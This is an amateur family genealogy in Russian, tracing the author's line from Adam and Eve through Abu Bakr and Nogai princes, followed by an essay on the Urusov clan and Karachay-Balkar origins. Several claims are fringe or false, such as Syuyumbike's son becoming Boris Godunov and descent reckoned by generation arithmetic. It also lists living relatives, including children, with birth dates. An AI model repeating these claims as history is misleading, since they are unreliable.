После и его гибели, она стала царицей-регентом при их сыне Утямыше Герее (1546-1566). Утямыш в Москве насильно крещен, получил имя Александр, он умер в Москве, похоронен в Архангельском соборе Московского Кремля. От него Утямышевы, мои и моего бажи Амирханова Данияла дальние родственники, Утямышевы живут в Москве. Сююмбике в 1551 с сыном Утямышегерем, переехала в Москву в добровольно-принудительную почетную ссылку-плен к Ивану Васильевичу, Великому князю Московскому. Где по одной версии Сююмбека тайно приняла крещение и стала Ириной Годуновой, вышла замуж за Ивана Васильевича, который был младшее ее на 15 лет, а Утямышгерей стал Борисом Годуновым, в последствии, по предсмертной воле Ивана Васильевича стал Царем Борисом. Сююмбека, как и Кадича (555-620) жена Пророка (САС) (555-633), была дважды вдовой, разница возрасте супругов так же была 15 лет.
Только Кадиче, когда она выходила за пророка (САС) было 40 лет, а Сююмбике 36 лет, Ивану Васильевичу 21 год, а пророку (САС) 25 лет, и не следует забывать о самом главном, Царица Сюмбика была одной из самых красивых женщин в истории человечества, если не самой красивой. По другой, возможно более достоверной версии Иван Васильевич в 1552 году по татарскому закону амергенства (левират), после взятия Казани и за участия в покорении Казани Касимовского хана, выдал Сююмбеку замуж за Касимовского хана Шахгали (1505-1567). Родного брата её первого мужа, но вскоре она умерла. Шахгали ранее дважды был ханом в Казани. В ханской усыпальнице города Касимова есть надгробие, где якобы похоронена Сююмбека, но на надгробном камне ни какого текста нет. По этому достоверно, где покоится ее прах не установлено. Средств для проведения генных экспертиз ученные пока найти не могут.

74. Юнус. Старший сын, первый наследник (Норадын) ногайского Владетельного князя Юсуфа, от него пошли князья Юнусовы мои предки. Он умер 10 мая 1561 году в Москве. Титул Русского князя получил в 1558 году, при вступлении на службу к русскому царю Ивану Васильевичу, с признанием вассальной зависимости Ногайской орды от Москвы. После смерти Владетельного князя Ногайской орды Юсуфа, отца Юнуса, именно старший сын - Юнус был признан Москвой законным наследником и Владетельным князем - бием Ногайской орды. По матери Иван Васильевич был татарин, знал татарский язык, который и тогда был языком межнационального общения. Доказательством существования русско-татарского двуязычия того времени являются Золото Ордынские монеты, описанные И.Г. Спасским в книге «Русская монетная система» и другими историками. Как установили историки Д.А. Мустафин, В.В. Трепавлов, и Усманов М.А. в своём труде, «Посольские книги по связям России с Ногайской ордой (1551-1561 годы), издана в Казани в 2006 году, стр. 341,
- Юнус умер в Москве, 10 мая 1561 года, будучи «учиненным Иваном Васильевичем на княжении нагайском, на отца его юрте, по старине». Юнус умер признанный Московсквой Владетельным князем Ногайской орды. Хоронить Владетельного князя Юнуса увезли в столицу Нагайской орды Сарайчик. «Похоронная процессия была снаряжена с подобающей пышностью за счет казны» отмечали летописцы. Таким образом, я и мои потомки являемся законными наследниками Ногайской орды, если она восстанет из пепла как птица Феникс.
75. Бин Юнуса.
76. Немере Юнуса.
77. Шобере Юнуса.
78. Шопшек Юнуса.
79. Шобеле Юнуса.
80. Исхак Юнус Аль Казани, немене Юнуса, жил в Казани с 1695 года.
81. Мохамедрахим. (1743-1820).
82. Губэйдулла. (Узун Губэйдулла), (1776-1848).
83. Ибрагим (Узун Ибрай), (1806 –1886). Он пережил своего младший брат Исхака, потомки которого живую в Казани, мои дальние родственники.
84. Абдрахман.
85. Нури (Узун Нури). Принял революцию в предгорьях Алатау в Джетысу, был комиссаром одного из мусульманских отрядов.
86. Нурмухаммед (Нуркей) 1911-1977, в браке с 20 сентября 1947 года с Юнусовой Аминой Габдулхакимовной (12.07.1914-22.04.1989). Фактически она родилась 17 февраля 1910г.
87. Юнусов Курбангали Нуркеевич 16.10.1948, в день Курбангаита, 10 зуль хиджи 1367 года хижри. Мое имя мне при рождении, как рассказывали мне родители дал Гаффур бабай, (первый муфтий (казый) Казахстна - его полное имя Абд аль Гаффур Шамсутдинов (1884-1953), прочитав соответствующие суры из священного Корана. Этот Коран издан в Казани в 1911 году, хранится у нас дома как одна из семейных реликвий.
а - первый брак 12.10.197426.11.2004 г.г. Юнусова, урожденная Забирова Сания Рафиковна, 01.01.1949 — 26.11.2004.
б — второй брак Юнусова урожденная Миннуллина Альфия Туфановна 01.01.1963 г.р, нитках 05.09.2009, регистрация 24.04.2010 года в Казани.
Сводные дети -
1.Миннибаева урожденная Миннуллина Диляра Эдуардовна 01.07. 1984 г.р. Муж Миннибаев Руслан Фаимович 27.08.1979 г.р. Их дочь, Миннибаева Саида Руслановна 23.04.2009 г.р.
2. Миннуллин Данияр Эдуардович 25.02.1988 г.р.
88.1. а Батырова Алиса Курбангалиевна 16.08.1975. Магистра психологии. Муж Батыров Руслан Наильевич 28.09.1975 г.р.
88.2. а Юнусова Асия Курбангалиевна.13.01.1978. Дизайнер.
89.1 Батыров Рауф Русланович 18.12.2001, в последний, третьей день праздник Рамазана, 3 шавваля 1422 года по хижри. 88.1
89.2 Батыров Эмиль Русланович, 5 февраля 2005 года, что соответствует 26 зульхидже 1425 года по хижре, то есть за пять дней до окончания 1425 года по хижри. 88.1

Согласно легендам и родословным о происхождении разных народов (Огуз-наме и другим) первые пророки жили долго, до 1000 лет. После всемирного потопа, сыновья Ноя ещё жили до 300 лет. Постепенно долгожитие человечества на земле стало сокращаться, ныне долгота жизни людей по пословице «Век человеческий всего 70 лет, остальное от крепости». Так что будем молить всевышнего о крепости, и желать ближним жизни, как желали пророкам, до 120 лет.
По моей родословной, я примерно 46 потомок Абу Бекра, и 90 от Адам и Евы. Моя родословная подтверждается арифметическим анализом, расчетом. Разница от моего рождения до рождения Абу Бакра деленная на средний возраст смены одного поколения - 30 лет (1948-572=1376 лет : 30 лет=46), получается всего 46 поколений.
Эти мои расчеты согласуются с данными по Королю Иордании Абдаллаху Второму, который является официально 43 потомком Пророка Мухаммеда (ССАС). Абдаллах Второй вступил на трон в 1999 году. Он родился в 1969 году, из ниже приведенного расчета видно, что средний возраст появления нового поколения у прямого потомка Мухаммеда (ССАС) 33 года, 1969-570=1399 года разделить на 43 поколения получится разность 33 года.
Пятьдесят поколений тому назад, по его родословной и 53 поколения моей родословной, наши родословные пересекаются через Мурра ибн Кяъба. Родословные Абу Бекра и пророка Мухаммеда (САС) восходят к одному предку - Мурра ибн Кяъба, прадеду в 7 поколене. Так что, я внучатый племянник Короля Иордании Абдаллаха второго в 53 поколении (пятидесятитрехюродный).
Одним из таких же дальних родственников мне приходится и Саддам Хусейн бывший Президент Ирка. Его родословную составили историки и богословы в годы его правления, но ей я не располагаю.
В 2004 году в Китае отмечали 2 555-летие со дня рождения Конфуция. В телепередачи «Их нравы» за 17 октября 2004 года был репортаж с участием потомком Конфуция в 75 поколении. Простой расчет показывает что смена поколений в роду Конфуция 34 года, (2555 разделить на 75=34).
Если в моем роду средняя смена поколений 30 лет, в роду Абдаллаха второго 33 года, то в роду Конфуция 34 года.
В родословной, как правило, я указывал только прямых потомков установленных мной колен, о которых сохранились предания, поиск утраченных имен, и дат моя задача.
Мной установлены пока четыре династические фамилии моих родственников. По одной линии, тюрко-монгольской общий предок Кайдада, от которого кроме рода Идегея, еще род Чингизидов, и род Тимуридов, а по арабской линии род восходит через Баба-Тукласа (Чачли-Азиз) к Абу Бакру, и долее до Адама и Евы. Вот эти фамилии.

1. Юсуповы. Известный род в Царской России. Воспоминания Князя Феликса Юсупова опубликованы в Париже в 1952 и 1954 годах и переизданы в Москве в 2001 году.

2. Ишболдины. Менее известный род. О них книга «Очерки истории татар» Бориса Ишболдина издана в США повторно в 1972 году, а в Казани ее издали только в 2005 году.

3. Адан Октар. История семьи Аднан Октара, известного писателя из Турции пишущего под псевдонимом Харуна Яхья, мне еще менее известна. Но он имеет свой Интернет сайт на русском языке и представителя госпожу Лейлу Исмаилову в Москве. С которой у меня связь по Интернету и телефону. 21 января 2008 года представители Адан Октана (Харуна Яхья), Фатих и Исмаил, будучи в командировке в Алматы были у меня дома и получили для Аднана Октара мою родословную, фотографии, старый Коран. 13 февраля 2008 года я у себя дома встречался Зафаром Фиктом, а 12 марта 2008 года с Тахсин Аккашем в помещении посольства Турции Алматы. В Москве 17-18 марта 2008 года я с Джаннат Сергей Маркусов имел встречу с представителями Харуна Яхья, они ознакомили с изданой в США книгой, исследованием о нашем общем предке Бабатюклясе или Чачли Азизе «Islamizationandnativereligioninthegoldenhorde». Книгу в связи с нашими родословными, исследуют Лейла Измайлова со стороны Харуна Яхья и Джаннат Сергей Маркус, известный Московский культуролог с мой стороны.

4. Род Романовых. Внук Петра Первого, Петр Третий является прямым потомком Кадия Сивиили Исмаила ибн Курайша. "Российский Императорский Дом состоит в родстве с Династиями, ведущими свое происхождение от Пророка Мухаммада", пишет в своем Обращении глава российского императорского дома Е.И.В. государыня Великая княгиня Мария Владимировна в связи с 15-летием Меджлиса татарских мурз 13 марта 2008 года из Мадрида. Обращение опубликовано в №2 (73) от 23 мая 2008 года газете "Дворянской вестник".

5. Род У р у с о в ы х - вот их родословная:
Родословная Урусовых, моих родственников с 16 колена, наш общий предок - Муса мурза. Настоящее шежере составлено после нашей поездки в Астаханскую область, город Астрахань и его пригороды с 18 по 24 ноября 2010 года, и анализа бесед-встреч с астараханскими татарами и ногаями, изучения книг: «Мои киличи» 2000 года и «Глубокие корни» 2005 г. изданные в Астрахани Зульхабирой Фаридовны Ишбердиевой из рода Урусовых, любезно подаренных нам в Татарском обществе «Дуслык». Из-за болезни моей сестры в 16 колене - Зульхабиры, беседа с ней не состоялась.
1.Зульхабире Фаридовна Ишбердиева из рода Урусовых 05.07.1929 г.р.
2.Ажире мать Зульхабиры 1911-1976.
3.Исхак Ильясович Урусов 1880-1923, его жена Кальбии 1883-1956.
4.Ильяс 1850-, его брат Нурали.
5.Мусабек.
6.Шай.
7.Шобеер Казы.
8.Немере Казы.
9.Бин Казы.
10.Казы.
11.Али.
12.Немере Урыс.
13.Бин Урыс.
14.Урыс. В 1590 году, Урыс мурза, Владетельный князь Ногайской орды, задержал Посла Великого княжества Московского Петра Девочкина и потребовал вернуть в Ногайскую орду всех служивших у них ногаев. Часть ногайских мурз предпочли остатся на службе у Великого князя Московского. Среди них и внуки самого Уруса мурзы: Баймурза в крещении — Петр Арсланович, то что убил Лжедмитрия, освобождаю Православную Москву от католической Польши. Касим в крещении Андрей, сын которого Семен был женат на Милославской, двоюродной сестре Царя Михаила Федоровича Романова. Яндан в крещении Борис Канмурзаевич.
15.Исмаил (или Измаил), имел подворье в Москве, ныне Измайловский парк и прилегающие к нему земли. Четвертый сын Исмаила Тинбай в 70-80годах 17 века, был соправителем в Ногайской орде, но их ветвь после крещения угасла. Старшим братом Исмаила был Юсуф - Правитель Ногайской орды от которого пошли мурзы Юнусовы, и Сююмбике, последная Казанская царица.
16.Муса.
Составитель родословной Урусовых, Вице -Предводитель татарских Мурз, Вице — Президент Союза мусульман Казахстана, Юнусов Курбангали Нуркеевич 30 нобря 2010 года Казань.

Мы продолжаем поиск других потомков нашего рода.

Хочется привести установленную мной терминологией поколений. Я образую 1 поколение, после своих родителей – бала. У меня есть две дочери, это 2 поколение от меня, но внуки для моих родителей, то есть немере (унуклар) - 3 поколение. Правнуки, то есть шобере (собере) - 4 поколения. Шопшек (сопсек)- 5 поколение. Шобеле (собере, обере) - 6 поколение. Немене (Таужат, тауят)- 7 поколения от моих родителей, я надеюсь дожить до них и внести в эту родословную в твердой памяти и рассудке. Но потомкам нужно будет вести родословную далее, 8 поколение - журежат (журеят), 9 поколение - жекжат (яекят), 10 поколение – жамагат (ямагат), 11 поколение - оркен, 12 поколение - эулет, 13 поколение - заузэт, 14 поколение - жаран (яран), 15 поколение - калыш (калыс).
Теперь приведу восходящую терминологию- 1- Аке (ати, эттэ), (отец). 2 - Ата (бабай), (дедушка ). 3 - Аргы ата (оченчэ ати, эз ата), (пра дед). 4 - Баба (пра пра дед). 5 – Тектин (туп ата), (пра пра пра дед). 6- Ататек (Туркин), (пра пра пра пра дед). 7 - Тукиян (пра пра пра пра пра дед). И того в народе сохранено 22 термина образующих, непрерывную цепь поколений. Всю эту терминологию, колен сохранили наши предки и донесли до нас, а мы передаем дальше.
В годовом исчислении, одно поколение занимает в среднем 30 лет. Следовательно, 15 будущих колен займут 450 лет, если считать от меня, с 1948 года 15 поколение после меня родится в 2398 год. (30 лет х 15 поколений, что 450 лет + 1948= 2398).

А если считать все 22 колена, имеющие свои термины, то это начина с Искака Юнуса аль Казани, моего прадеда в 7 колене - «Тукиян» составит 702 года. Это подтверждается следующим расчетом, (450+252 года = 702 года). Мои предки, тюрки Великой степи вели учет времени и до рождества Иисуса Христа, который известен у мусульман как пророка Иса. А затеи и по хижри, то есть по мусульманскому календарю. Но одновременно, вели учет времени и по мушелям. Двенадцатиричному животному циклу, четырем стихиям – огня, земли, воздуха и воды. Приведу первоэлименты и соответствующие им года. Огонь - 1 год мыши, (это год моего рождения - 1948), 5 год рыбы, 9 год обезьяны. Земля- 2 год коровы, 6 год змеи, 10 год курицы. Воздух- 3 год льва, 7 год лошади, 11 год собаки. Вода – 4 год Зайца, 8 год барана, 12 год свиньи.
Первый мушель состоящий из 12 лет и называется сап-мушель. Второй мушель 25 лет. Третьей мушель 37 лет, четвертый мушель 49 лет. Пятый мушель 60 лет (12х5) его еще называют даур мушель. Чон мушель это 180 лет (60х3) -, и вселенский мушель это 2 160 лет (180х12). Как отметил выше, мной установлены специальные названия - термины на 22 поколения, которые охватывает 702 года, это почти 1\3 вселенского мушель, который состоит из 2 160 лет. Просто поразительно, насколько далеко смотрели наши предки.

Составитель краткой родословной от Адама и Евы и пока только до своих внуков
Юнусов К. Н.
Редакция от 03.02.2011, г. Казань

5.Северокавказские князья Урусовы.

 
 
После гибели Урус бия (князя) и его сына Сатыя в 1590 году уцелевшая Урусбиевская орда уходит на Кавказ в Верховья Кубани в горы Карачая на стык трех ущелий Хурзунский, Махарский и Кубанский, где в селе Верхний Учкулан (современное название) были похоронены Урус бий и Сатый. Здесь сейчас родовое кладбище Урусовых. По сей день Урусовы знают и чтят могилу Урус-бия, который считается основателем фамилии. Как верно отмечает В.П.Невская, «членов фамилии, умерших вне Карачая, привозили домой, чтобы похоронить на родовом кладбище». А оставшиеся в живых члены урусбиевской семьи стали продолжателями современной карачаевской фамилии Урусовы.
Здесь и сформировался род Урусовых ( К а р а ч а е в с к и е У р у с о в ы).
Через определенное время род Урусовых разросся, им стало тесно в одном селе. Часть Урусовых, получив по праву наследования титул князей, переселилась в Баксанское ущелье Балкарии Приэльбрусья, где обосновало селение Урусбиевское (с 1917 года Верхний Баксан) и жители села рода Урусовых назывались УРУСБИЕВЦАМИ (прил.37-39) ( Б а л к а р с к и е У р у с б и е в ц ы).
Это и есть СЕВЕРОКАВКАЗСКАЯ ветвь УРУСОВЫХ.
И снова вопросы. Как могли свободно пропустить урусбиевскую орду (БНО) в горы враждующие племена, где постоянно шла вражда за землю? И почему именно в этот район Кавказа? Откуда ногайцы оказались на Кавказе? Противоречия. Но история не оставила нам документов, подтверждающих или отвергающих то или иное событие. Только народные сказки и сказания.
Видимо, каким-то образом историческое прошлое фамилии Урусовых тесно связано с историей карачаевского народа. Говоря об истории карачаевского народа, необходимо иметь в виду, что речь идет и о балкарском народе, поскольку не так давно карачаевцы и балкарцы и по происхождению, и по вероисповеданию (мусульмане суннитского толка), и по языку были единым народом. Общность культуры и языка этих народов остается единой и неделимой. Под этническим названием «карачаево-балкарский народ» известна часть населения Северного Кавказа с древнейших времен заселившая территорию к северо-западу и северо-востоку от Эльбруса и говорящая на одном из тюркских языков.
Кавказ уже с глубокой древности был заселен большим количеством самых разнообразных племен, являвшихся часто лишь осколками некогда могущественных народов, как бы застрявших в ущельях хребта при их передвижении с востока на запад в поисках плодородных земель. Войны приводили к исчезновению одной народности, к смешению других и образованию этим путем новых, отличных от первоначальных.
По поводу происхождения карачаево-балкарского народа высказывались самые разнообразные мнения, но это только предположения, основная причина – отсутствие достаточных источников.
Изучение языка, истории и фольклора показывает, что карачаевцы и балкарцы являются древними жителями истоков Кубани и Терека. В пользу этого мнения говорит также близкое сходство фольклора и терминов материальной культуры Карачая, Балкарии и Осетии. Такая близость говорит о степени исторического взаимодействия друг на друга этих народов. Древняя территория осетинского языкового элемента охватывала территорию и Карачая и Балкарии. Господствовал осетинский язык, и предки карачаевцев и балкарцев долгое время находились в сфере влияния осетин. В результате культурно-экономического взаимовлияния и взаимовосприятия элементов образовалось современное осетино-карачаево-балкарское сходство в языке. Начало образования общих элементов в их языке относится к эпохе домонгольского нашествия, т.е. начало исторических связей следует датировать эпохой, когда еще не было ни осетин, ни карачаевцев, ни балкарцев, он начался в недрах алано-ясского союза племен.
Наиболее аргументированной в настоящее время является версия, что карачаево-балкарский народ образовался в результате последовательного смешения северокавказских племен кобанской культуры (ассы – горцы I-V веков – древнейшие жители истоков Кубани и Терека) с гуннами (III-IVвв), аланами (IVв), булгарами (VIв), хазарами (VIIв), печенегами и половцами (кумыками) (XI-XIIвв) (прил.37). Приток представителей разных народов в карачаево-балкарскую среду продолжался в течение длительного времени. Малочисленный карачаево-балкарский народ, окруженный сильными враждующими племенами, вынужден был принимать пришлый элемент.
Процесс смешения завершился в XII-XIII веках с проникновением тюрков-кипчаков в горные районы Северного Кавказа. Таким образом, XII век можно взять за точку отсчета самостоятельного существования карачаево-балкарского народа, как единого народа. Однако вплоть до середины XVII века в исторической литературе не встречается названий «карачаевцы» и «балкарцы». Значит ли это, что карачаево-балкарский народ не существовал до середины XVII века. Нет, не значит. В истории они скрывались под другими названиями, под названиями сильных народов, которые поглощали их, в подданстве которых они находились. Впервые название «карачаевцы» по отношению к населению долины Баксана появилось в 1639 году в отчетах московского посла Толочанова. Даже после XVII века карачаевцы и балкарцы в истории носят самые разнообразные названия. В XVII-XVIII веках карачаевцев находим под названием: баяне, каркчегеты, караджики, карачеркесы и т.д.; в большинстве случаев балкарцев называли басиянами. Многие источники вплоть до начала XIX века карачаевцев и балкарцев называли аланами, которые покорили племена бассейна Кубани и Терека; распространили свое имя на подчиненные им народы. В эту основную группу народов (аланы, булгары, хазары, кипчаки) в течение веков вливались различные мелкие этнические элементы – осетины, кабардинцы, сваны и другие народы. Так образовался современный карачаево-балкарский народ, впитавший в себя много иноязычного элемента.
Но в результате татаро-монгольского нашествия в 1222 и 1238 годах были разгромлены аланы и половцы. Только что сформировавшаяся карачаево-балкарская общность была разгромлена, часть была истреблена, часть захвачена в плен (в том числе и предки Урусовых, прародители Эдигея), а часть ушла в горы Кавказа, сохранив независимость, национальное лицо карачаево-балкарского народа. Одновременно были покорены и адыги, а самое значительное из его племен, кабардинцы, вытеснили при этом алан (оставшихся в живых) из гор западного Кавказа, загнав их в современную горную Осетию. Само же осело в современной Кабарде. В некоторых глухих ущельях истоков Кубани удерживались остатки предков осетин, благодаря этому, быть может, имя аланы удерживалось за населением этих мест. В конце концов и эти остатки, вероятно, исчезли, после чего область эта была занята новыми пришельцами, тюркского происхождения, предками карачаевцев. На них-то соседние народы и перенесли название прежнего населения «аланы». Откуда пришел этот тюркский народ – вопрос довольно темный. Рассматривая, карачаево-балкарский народ, мы остановимся на возможных вариантах происхождения этого народа (булгары, половцы, ногайцы).
В конце XIV века на карачаево-балкарский народ обрушилась новая беда. В1395 году Тамерлан, после победы над Тохтамышем, совершил поход к подножью горы Эльбрус, уничтожая все на своем пути, разрушая города и храмы, захватил много горских крепостей. Карачаевские и балкарские предания сохранили память об этом походе Тамерлана (Тимура).
В высоких горах центральной части Северного Кавказа обитает два родственных народа – карачаевцы и балкары. Они говорят на наречиях одного и того же карачаево-балкарского языка. Имеют общее происхождение и взаимосвязанную историю. Однако, разный характер экономических связей в условиях территориальной разобщенности объясняет причину, почему одна часть этого некогда единого народа вошла в состав населения Кабардино-Балкарской АССР, а другая – Карачаево-Черкесской автономной области Ставропольского края. Нет у них и общего самоназвания, если не считать слова «Таулула», т.е. горцы, каким они отличают себя от жителей степной полосы. Документы дореволюционного времени называли балкарцев и их страну «горскими татарами» и «горским обществом Кабарды».
Ущелье реки восточный Черек считается, по преданию, первоначальным местом поселения балкарцев. Оно и его население издавна у балкарцев носит имя Малкар, у кабардинцев – Балкар, а у грузин – Басиани. Старейшее письменное известие об этом ущелье содержит грузинская надпись, относящаяся к XIV-XV векам. Из названия народа «Малкар» балкарцы пришли из степей рек Кумы и Подкумки (между Пятигорском и Буденовском). Предания отмечают происхождение родоначальников балкарских (Башат) и дигорских (Бадила), которые считаются родными братьями. Время прибытия Башата (Ковалевский М.М.) – XIII век. Пришельцы долгое время воевали с местным населением, которое не сразу подчинилось. Подчинить их балкарцам удалось маджарскому выходцу Мысаксу, за что он и был признан балкарским правителем.
Первое упоминание у русских о балкарах относится к 1620 году во время подготовки экспедиции на Северный Кавказ для поисков серебряной руды. В Посольский приказ поступили сведения о «Балкарах», т.е. черекском ущелье. От кабардинцев и терского воеводы Дашкова (1629) стало известно, что «местом Балкары» владеют мурзы Апши и Абдаула, племянники Кабардинского (Черкесского) князя Пшимахи Камбулатовича. Жители Балкарского ущелья тогда находились в зависимости от мурз Большой Кабарды.
Карачаевцы же до заселения долины Баксан жили (по фольклору) в Закубанье: в местностях, называемых Загрань (Загдан), Лаба, Архыз, Джекута (прил.37). Топонимика этих районов подтверждает древность проживания карачаевцев на этой территории. Архыз считается колыбелью карачаевского народа. Переселение карачаевцев из долины реки Джегута на Баксан произошло из-за притеснений сильных черкесских племен. Предводителем (по фольклору) карачаевцев был Карча, а родоначальниками – Будян, Трам, Адурхай и Науруз. Крымшамханов был зятем Карчи, который и принял главенство после смерти Карчи. Ко времени прихода карачаевцев в Баксан в его низовьях существовали кабардинские аулы, и земли по Баксану считались княжескими, но там никто не жил. В 1639 году московские послы в Сванетию шли через Баксан. Они застали здесь карачаевцев и на время останавливались у карачаевских предводителей – Крымшамхановых. В Статейном списке Ф.Елчина, пробывшего в 1639 году 15 дней в Баксане у карачаевцев, говорится: «Карачаевским князьям, двум братам Ельбуздук и Гилястану Крымшамхановым дано 4 аршина сукна красного аглинского да восемь киндяков».
Карачаевцы с приходом на Баксан были обложены данью кабардинским князем Казыем. На правом берегу реки Баксан, на высокой горе, около развалин древнего карачаевского аула Эльджурт, стоит башня Гошиах-Кала, а напротив – древнее кладбище карачаевцев и подземный склеп старшего брата Крымшамхановых. Часть карачаевцев жила и восточнее Карачая. Так терский воевода М.И.Волынский в1643 году упоминает «карачаевских черкесов», которые жили в Кабарде под Пятигорском.
Непосредственные связи русских людей с Балкарией завязываются в 1650-х годах, благодаря развитию русско-грузинских отношений и освоению перевального пути через горы Большого Кавказа в Имеретию (Грузию). В Балкарии в 1651 году русских послов Толочанова и Ивлева приняли балкарские мурзы Алибек, Айдабулла и Чеполов.
В 1654 году А.Ламберти в работе «Описание Мингрелин» указывает, что карачаевцы помещены северо-западнее сванов на территории нынешнего Карачая, в верховьях Кубани под Эльбрусом. Отсюда следует, что карачаевцы ушли из Баксана между 1643 и 1654 годами из-за притеснений кабардинского князя Казыя (прил.38).
После заселения балкарами ущелий Восточного Черека (общество Балкар), его население увеличилось и заняло территорию западных притоков Черека (общества Хулам и Безенги) и по Череку (общество Чегем). Название «балкары» тогда относилось только к жителям черекского ущелья. Таким образом, в начале XVIII века балкарские селения были расположены в труднодоступных ущельях рек Чегем, Черек и Урвань, и их население называли по ущельям: хуламцы (по среднему течению реки западный Черек), безенцы (верховья р. западный Черек) и чегемцы (в чегемском ущелье).
По свидетельству Ксавери Главани к 1724 году в балкарском ущелье имелось «500 жилищ», а в 1743 году у Гильденштедта сказано кратко «2. Бизинге, или Бизниче на Череке. Числится в нем лишь 100 семейств; 3. Хулам. Тоже на Череке. Также мал».
В этих документах нет известий об урусбиевцах, но зато говорится о какой-то «волости Хузыр», которая упоминается между волостями Хулам и Малкар, а в это время в баксанском ущелье были сваны. Появление урусбиевцев в баксанском ущелье становится известно в начале 1780-х годов, когда Я.Рейнегс в своем сочинении отметил: «На баксанских горах…. пасет (свой скот) 160 бедняков племени Орузпи» (прил.38). Старейшим известием об урусбиевцах является балкарская надпись 1715 года, вырезанная на каменной плите. Надпись гласит, что кабардинский князь Аслан-бек Кайтуно вместе с некоторыми дигорскими и балкарскими феодалами согласился на предоставление И с м а и л у У Р У С Б И Ю некоторой территории в восточной части нынешней Кабардино-Балкарской АССР, скорее всего в районе горы Кашкатау, где стоял мавзолей предков урусбиевых. Народные предания сообщают, что первоначальным местом жительства урусбиевых был Бызынги (Безенги). Здесь они носили тукумную фамилию Глыхановы. Затем эта фамилия на пятом поколении разделилась на две ветви «атаулы» Урусбиевы и Суншевы. Оказавшись в раздоре, Суншевы изгнали своих более слабых сородичей из Бызынги (ок.1705). Орусбиевы поселились в Чегеме среди родственников по материнской линии. Но и здесь им долго не пришлось жить. Лет через десять (ок.1715) пришельцы покинули Чегем и, заручившись поддержкой и защитой князей Чегема, а также кабардинских князей Атажукиных, заселили верховье реки Баксан, местность «Камык» (1715-1743), а уже потом выше по ущелью Баксана (1743-1795) местность Ичкумель (прил.37), оставленную карачаевцами до своего ухода из этих мест на верховья Кубани. Первыми из Урусбиевцев, переселившиеся в Баксан, были Джаппу и Чепеллеу (прил.39).
Итак, у подножья горы Эльбрус в 1780 году появилось племя «орузпи». Интересные сведения мы находим у знаменитого турецкого путешественника Эвлия Челеби (XVII век). В своей «Книге путешествий» он пишет: « Персы называют эти высокие горы Кухи Альборзи, потому что у подножья этих высоких гор (Эльбруса) поселились горцы племени б о р з и. Сведения Эвлия основаны на результатах его путешествия по землям Северного Кавказа и Поволжья в 1641-42 и в 1666-67 годах.
Впервые народ б о р з и упоминается в связи с миграцией булгарских племен, которые известный ученый Н.Я.Мерперт рассматривает как конкурентную группу тюркоязычных племен, проникшую из Азии в степи Северного Причерноморья и Приазовья. Вот что говорится в сирийской хронике Захария Ритера, составленной в IV веке. «За каспийскими воротами (живут) болгары со (своим) языком. Народ языческий и варварский, у них есть города и а л а н ы, у них пять городов. Из пределов Даду (Дагестана), живут в горах, у них есть крепости. Авангур – народ, живущий в палатках, авар, сабир, булгар, алан, авгар… баграсик (прил.36) – эти тринадцать народов живут в палатках, существуют мясом скота и рыб, дикими зверьми и оружием». Древние болгары располагались на Донце, низовьях Дона и на Северном Кавказе. Несмотря на некоторые искажения, в списке Захария Ритора в названии «баграсик» нетрудно увидеть сходство с названием «барсилы» (борзи). М.И. Артамонов, основываясь на анализе источников, предполагает, что племя с таким названием осело в северном Прикаспии вместе с савирами (другое племя болгарского круга) и занимало северную часть низовья Сулака и Терека. О барсилах упоминается и в других древних источниках. По сведениям Моисея Хоренского, барсилы – «сильное племя». Совместно с хазарами они совершали походы на Армению еще во II веке (прил.37). Византийская хроника Феофана: «Хазары – это народ, вышедший из Барсилии, самой дальней страны Первой Сарматии». Знали страну Барсилию и арабские писатели. В рассказе Баладзори и Кудама о встрече персидского шаха и тюркского хана местом действия называется Ал-Баршалия к северу от Дербента. Связь Барсили или Ал-Баршалии с племенным названием «барсилы» убедительно доказана М.И.Артамоновым и рядом других исследователей. Булгарские племена оказались беспокойными соседями как для кавказских народов, так и для Византии и Ирана. Они требовали увеличить дань, говоря: «Мы живем оружием, луком и мечом и подкрепляемся всякой мясной пищей». Но более сильным племенам (например, авары) они «почтили» блестящими дарами, рассчитывая тем самым обеспечить безопасность. Видимо, эта безопасность была настолько призрачна, что некоторые части савиров и барсил переселяются в Верховья Кубани. Так А.В.Гадло помещает оттесненные аварами части савиров и барсил по соседству с осами-аланами, уже в 549-550 годах. Правитель Абасгов Онсит с небольшим отрядом… удалился к жившим поблизости гуннам в пределы Кавказского хребта.
Весьма вероятно, что с этого времени закрепляется за карачаевцами и балкарами этноним савир. А.В.Гадло: «Представляется весьма существенным, что в этнонимике сванов тюркоязычные карачаевцы и балкары носят наименование савир, т.е. по существу именуются древним этнонимом савиров».
О возможности бытования в карачаево-балкарской среде другого этнонима – борзи, барсилы, берсула – говорит и Якоб Рейнегс. Немецкий ученый, побывав у подножья Эльбруса в 1780 году, отмечал, что на баксанских горах пасут свой скот 160 бедняков племени орузпи. А в самом начале XIX века другой немецкий ученый Ю.Клапрот сообщает: «К карачаевцам еще принадлежит живущее северо-восточнее от этих (кубанских карачаевцев) на горном хребте Чалпак (Джалпак) племя урусби». О том, что этноним барсилы-борзи-берсула-орузпи-урусби бытовал в среде карачаевского народа, говорит и такой факт. Вплоть до революции 1917 года жителей Балкарии, проживающих в баксанском ущелье, называли орузпиевцами (урусбиевцами).
В то время, как отдельные подразделения барсил переселялись в 50-х годах VI века к подножью Эльбруса, вступали в связи с добулгарскими племенами, оставшаяся же в Прикаспии часть барсил была вовлечена в жизнь Великой Булгарии. Но после захвата власти хазар часть булгар во главе с ханом Аспарухом ушла на Дунай и, покорив жившие там славянские племена, положила начало Дунайской Болгарии (прототип современной Болгарии). Вторая часть булгар, в составе которых были и барсилы, передвинулась на север к Дону, а отсюда – на Волгу, положив тем самым начало Волжской Булгарии (современный Татарстан). О части барсил, оказавшихся в Волжской Булгарии, пишет Ибн Руст: «Волжские булгары делились на три племени: бер-сула, эсегелы, булгары». Третья часть барсил в составе орды Батбая продвинулась к верховью Кубани и в Приэльбрусье. О том, как продвигалась орда Батбая, свидетельствуют данные археологических памятников (350\ 5). В районе современного города Невинномысска орда разделилась на две части: одна из них двинулась по правому берегу реки Кубань на территорию современной Карачаево-Черкесии; другая – продолжила перекочевку в направлении Пятигорья. Несмотря на уход в горные районы, северокавказские булгары хана Батбая остались в сфере влияния Хазарского каганата. Хазарский каган Иосиф, гордо именуя себя «царем Тогармским», подчеркивает этим могущество своей власти, простиравшейся не только на хазар, но и на все остальные тюркские народы; перечисляет территории, платящие ему дань, называя и Эльбрус. В том письме, датированном 934 годом, впервые и появляется слово «эльбрус» в форме «Эльборус», как название самой высокой горы Кавказа и описывается происхождение народа хазар (прил.36).
